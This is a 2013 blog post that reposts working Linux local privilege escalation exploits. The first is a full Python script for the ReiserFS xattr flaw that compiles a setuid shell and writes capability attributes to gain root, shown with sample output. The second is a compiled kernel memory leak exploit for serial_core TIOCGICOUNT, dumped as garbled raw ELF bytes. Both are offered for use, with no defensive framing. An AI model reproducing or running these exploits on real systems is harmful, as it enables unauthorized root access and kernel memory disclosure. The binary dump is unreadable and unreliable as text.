Monday, April 1, 2013

Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation

#!/usr/bin/env python
 
'''
  team-edward.py
  
  Linux Kernel <= 2.6.34-rc3 ReiserFS xattr Privilege Escalation
  Jon Oberheide 
  http://jon.oberheide.org
   
  Information:
  
    https://bugzilla.redhat.com/show_bug.cgi?id=568041
 
    The kernel allows processes to access the internal ".reiserfs_priv"
    directory at the top of a reiserfs filesystem which is used to store
    xattrs. Permissions are not enforced in that tree, so unprivileged
    users can view and potentially modify the xattrs on arbitrary files.
 
  Usage:
  
    $ python team-edward.py
    [+] checking for reiserfs mount with user_xattr mount option
    [+] checking for private xattrs directory at /.reiserfs_priv/xattrs
    [+] preparing shell in /tmp
    [+] capturing pre-shell snapshot of private xattrs directory
    [+] compiling shell in /tmp
    [+] setting dummy xattr to get reiserfs object id
    [+] capturing post-shell snapshot of private xattrs directory
    [+] found 1 new object ids
    [+] setting cap_setuid/cap_setgid capabilities on object id 192B.1468
    [+] spawning setuid shell...
    # id
    uid=0(root) gid=0(root) groups=4(adm), ...
  
  Notes:
  
    Obviously requires a ReiserFS filesystem mounted with extended attributes.
    Tested on Ubuntu Jaunty 9.10.
'''
 
import os, sys
 
SHELL = 'int main(void) { setgid(0); setuid(0); execl("/bin/sh", "sh", 0); }'
XATTR = '\x41\x58\x46\x52\xc1\x00\x00\x02\x01\x00\x00\x02\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
 
def err(txt):
    print '[-] error: %s' % txt
    sys.exit(1)
 
def msg(txt):
    print '[+] %s' % txt
 
def main():
    msg('checking for reiserfs mount with user_xattr mount option')
 
    f = open('/etc/fstab')
    for line in f:
        if 'reiserfs' in line and 'user_xattr' in line:
            break
    else:
        err('failed to find a reiserfs mount with user_xattr')
    f.close()
 
    msg('checking for private xattrs directory at /.reiserfs_priv/xattrs')
 
    if not os.path.exists('/.reiserfs_priv/xattrs'):
        err('failed to locate private xattrs directory')
 
    msg('preparing shell in /tmp')
 
    f = open('/tmp/team-edward.c', 'w')
    f.write(SHELL)
    f.close()
 
    msg('capturing pre-shell snapshot of private xattrs directory')
 
    pre = set(os.listdir('/.reiserfs_priv/xattrs'))
     
    msg('compiling shell in /tmp')
 
    ret = os.system('gcc -w /tmp/team-edward.c -o /tmp/team-edward')
    if ret != 0:
        err('error compiling shell, you need gcc')
 
    msg('setting dummy xattr to get reiserfs object id')
 
    os.system('setfattr -n "user.hax" -v "hax" /tmp/team-edward')
    if ret != 0:
        err('error setting xattr, you need setfattr')
 
    msg('capturing post-shell snapshot of private xattrs directory')
 
    post = set(os.listdir('/.reiserfs_priv/xattrs'))
 
    objs = post.difference(pre)
 
    msg('found %s new object ids' % len(objs))
 
    for obj in objs:
        msg('setting cap_setuid/cap_setgid capabilities on object id %s' % obj)
    
        f = open('/.reiserfs_priv/xattrs/%s/security.capability' % obj, 'w')
        f.write(XATTR)
        f.close()
 
    msg('spawning setuid shell...')
 
    os.system('/tmp/team-edward')
 
if __name__ == '__main__':
    main()

Local Root Linux Kernel 2.6.37

ELF   ��������� � � ��� „  4���, ������4� � �(� � � ���4���4€  4€  � ��� �� ��� ��� ���4 ��4  4   ��� ��� ��� ��� ��������€  �€    ��  �� ���� �� ���  �� ™   ™    ��  �� ���� �� ���( ��(™  (™  È���È��� ��� ��� ���H ��H  H   ��� ��� ��� ���Påtd  �� ˆ   ˆ   ��� ��� ��� ���Qåtd�������������������� ��� ���/lib/ld-linux.so.2�� ��� ��� ���GNU����� ��� ��� ��� ��� ��� ��� ���� � ���� ���­KãÀ����������������M�������z��� ��� ����������� ���d�������z��� ���:�������C��� ���R�������Ÿ �� ���A�������?��� ���3�������9��� ���G�������o��� ���.������� �� ���)�������ô��� ��� ���ˆ‡   ��� � ��__gmon_start__�libc.so.6�_IO_stdin_used�exit�puts�printf�memset�ioctl�close�open�__libc_start_main�write�GLIBC_2.0��� ��� � � � � � � � � � � � ��� ������� ii
�� �j�������ð™    ���š    �� š    �� š    �� š    �� š    �� š    �� š    �� š    �� š    ��$š   
��U‰åƒì èí���èt ��èß ��ÉÃ�ÿ5ø™  ÿ%ü™  ����ÿ%�š  h����éàÿÿÿÿ% š  h ���éÐÿÿÿÿ% š  h ���éÀÿÿÿÿ% š  h ���é°ÿÿÿÿ% š  h ���é ÿÿÿÿ% š  h(���éÿÿÿÿ% š  h0���é€ÿÿÿÿ% š  h8���épÿÿÿÿ% š  h@���é`ÿÿÿÿ%$š  hH���éPÿÿÿ������������1í^‰áƒäðPTRhÀ†  hІ  QVhô„  èsÿÿÿôU‰åSƒì è����[Ã¤ ��‹“üÿÿÿ…Òt è ÿÿÿX[ÉАU‰åSƒì €=0š  �u?¸ ™  - ™  Áø Xÿ¡,š  9Ãv ´&����ƒÀ £,š  ÿ … ™  ¡,š  9ÃwèÆ 0š   ƒÄ []Ít&�¼'����U‰åƒì ¡$™  …Àt ¸����…Àt Ç $$™  ÿÐÉЍL$ ƒäðÿqüU‰åQƒìt‰M˜ÇEô����Ç $‡  èÙþÿÿ‹E˜ƒ8  Ç $̇  èÅþÿÿÇ $ÿÿÿÿèÉþÿÿE ‰Â¸P���‰D$ ÇD$ ����‰ $èKþÿÿ‹U˜‹B ƒÀ ‹�ÇD$ ����‰ $è�þÿÿ‰Eðƒ}ðÿu'‹U˜‹B ƒÀ ‹�‰D$ Ç $ÿ‡  è<þÿÿÇ $ÿÿÿÿè`þÿÿE ‰D$ ÇD$ ]T��‹Eð‰ $è þÿÿƒøÿu Ç $ ˆ  è%þÿÿÇ $ÿÿÿÿè)þÿÿ‹Eð‰ $èþýÿÿÇEø����ë"‹Eø‹D…̉D$ ‹Eø‰D$ Ç $3ˆ  èÇýÿÿƒEø ƒ}ø ~ØÇD$   ��ÇD$ B���Ç $Gˆ  èAýÿÿ‰Eðƒ}ðÿu Ç $Pˆ  è¬ýÿÿÇ $ÿÿÿÿè°ýÿÿÇEø����ë.‹EøÁà ‰ÂE ƒÀ, ÐÇD$  ���‰D$ ‹Eð‰ $è ýÿÿ EôƒEø ƒ}ø ~Ì‹Eð‰ $èHýÿÿ‹Eô‰D$ Ç $xˆ  è%ýÿÿÇ $����èIýÿÿU‰å]Ít&�¼'����U‰åWVSè^���Ã  ��ƒì ècüÿÿƒ ÿÿÿ‰Eðƒ ÿÿÿ)EðÁ}ð ‹Uð…Òt+1ÿ‰Æ¶����‹E ƒÇ ‰D$ ‹E ‰D$ ‹E ‰ $ÿ ƒÆ 9}ðu៎ [^_]Ë $АU‰åS» ™  ƒì ¡ ™  ƒøÿt ƒë ÿЋ ƒøÿuôƒÄ []ÃU‰åSƒì è����[Ã€ ��èðüÿÿY[Éà ��� � �����[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit��[ You need to supply a device name e.g. /dev/ttyS0�[ Couldn't open %s
��[ Problem with ioctl() request�[ int leak[%d]: %x
�./leak���[ Can't open file to write memory out���[ Written %d leaked bytes to ./leak
����   ; ��� ��� þÿÿ4���0þÿÿP��� ������� zR� |      ˆ �� ��� ���äýÿÿ ����A  … B
 ��� ���8���Øýÿÿi����A  … B
 Cƒ † ‡ ����ÿÿÿÿ����ÿÿÿÿ�������� ��� ��� ���Lƒ  
���h‡  õþÿoh   ���H‚   ���ˆ  
���t��� ��� ��� ������� ���ô™   ���P��� ��� ��� ���ü‚   ���ô‚   ��� ��� ��� ���þÿÿoÔ‚  ÿÿÿo ���ðÿÿo¼‚  ����������������������������������������������������(™  ��������zƒ  Šƒ  šƒ  ªƒ  ºƒ  ʃ  Úƒ  êƒ  úƒ  
„  �����GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��GCC: (GNU) 4.1.2 20080704 (Red Hat 4.1.2-51)��.symtab�.strtab�.shstrtab�.interp�.note.ABI-tag�.gnu.hash�.dynsym�.dynstr�.gnu.version�.gnu.version_r�.rel.dyn�.rel.plt�.init�.text�.fini�.rodata�.eh_frame_hdr�.eh_frame�.ctors�.dtors�.jcr�.dynamic�.got�.got.plt�.data�.bss�.comment�������������������������������������������� ��� ��� ���4  4 �� ����������� �������#��� ��� ���H  H �� ����������� �������1���öÿÿo ���h  h �� ��� ������� ��� ���;��� ��� ���ˆ  ˆ ��À��� ��� ��� ��� ���C��� ��� ���H‚  H ��t����������� �������K���ÿÿÿo ���¼‚  ¼ �� ��� ������� ��� ���X���þÿÿo ���Ô‚  Ô �� ��� ��� ��� �������g��� ��� ���ô‚  ô �� ��� ������� ��� ���p��� ��� ���ü‚  ü ��P��� ��� ��� ��� ���y��� ��� ���Lƒ  L �� ����������� �������t��� ��� ���dƒ  d ��°����������� ��� ������ ��� ��� „    ��H ���������� �������…��� ��� ���h‡  h �� ����������� �������‹��� ��� ���„‡  „ ��  ���������� �������“��� ��� ��� ˆ    �� ����������� �������¡��� ��� ���¼ˆ  ¼ ��X����������� �������«��� ��� ��� ™    �� ����������� �������²��� ��� ��� ™    �� ����������� �������¹��� ��� ���$™  $ �� ����������� �������¾��� ��� ���(™  ( ��È��� ������� ��� ���Ç��� ��� ���ð™  ð �� ����������� ��� ���Ì��� ��� ���ô™  ô ��4����������� ��� ���Õ��� ��� ���(š  (
�� ����������� �������Û��� ��� ���,š  ,
�� ����������� ��������� �����������,
��  ���������� ������� ��� �����������@ ��é����������� ������� ��� �����������´ ��À �� ���1��� ��� ��� ��� �����������t ��Ñ ���������� ���������������������������4  ���� � �����H  ���� � �����h  ���� � �����ˆ  ���� � �����H‚  ���� � �����¼‚  ���� � �����Ô‚  ���� � �����ô‚  ���� � �����ü‚  ���� � �����Lƒ  ���� �
�����dƒ  ���� � ����� „  ���� � �����h‡  ���� �
�����„‡  ���� � ����� ˆ  ���� � �����¼ˆ  ���� � ����� ™  ���� � ����� ™  ���� � �����$™  ���� � �����(™  ���� � �����ð™  ���� � �����ô™  ���� � �����(š  ���� � �����,š  ���� � ������������� � � ���D„  ���� � � ����������� �ñÿ ��� ™  ���� � �*��� ™  ���� � �8���$™  ���� � �E���,š   ��� � �S���0š   ��� � �b���p„  ���� � �x���Є  ���� � � ����������� �ñÿ„��� ™  ���� � �‘��� ‰  ���� � �Ÿ���$™  ���� � �«���@‡  ���� � �Á����������� �ñÿÊ��� ™  �����  �à��� ™  �����  �ñ���ô™  ����   �  �� ™  �����  �  �� ™  �����  �. �� ™  �����  �? �� ™  �����  �R ��(™  ����   �[ ��(š  ���� � �f ������z��� ���v ��À†   ��� � �† �� „  ���� � � ���������� ���œ ���������� ���° ��„‡   ��� � �· ��h‡  ���� �
�½ ������z��� ���Î ������C��� ���à ������Ÿ �� ���ý ��ˆ‡   ��� � �  ��(š  ���� � �  ������?��� ���* ��Œ‡  ����   �7 �� ™  ����   �D ��І  i��� � �T ������9��� ���f ������o��� ���w ��,š  ���� �ñÿƒ ��4š  ���� �ñÿˆ ������ �� ���˜ ��,š  ���� �ñÿŸ ������ô��� ���¯ ��9‡  ����   �Æ ��ô„  Ç �� � �Ë ��Lƒ  ���� �
��call_gmon_start�crtstuff.c�__CTOR_LIST__�__DTOR_LIST__�__JCR_LIST__�dtor_idx.5793�completed.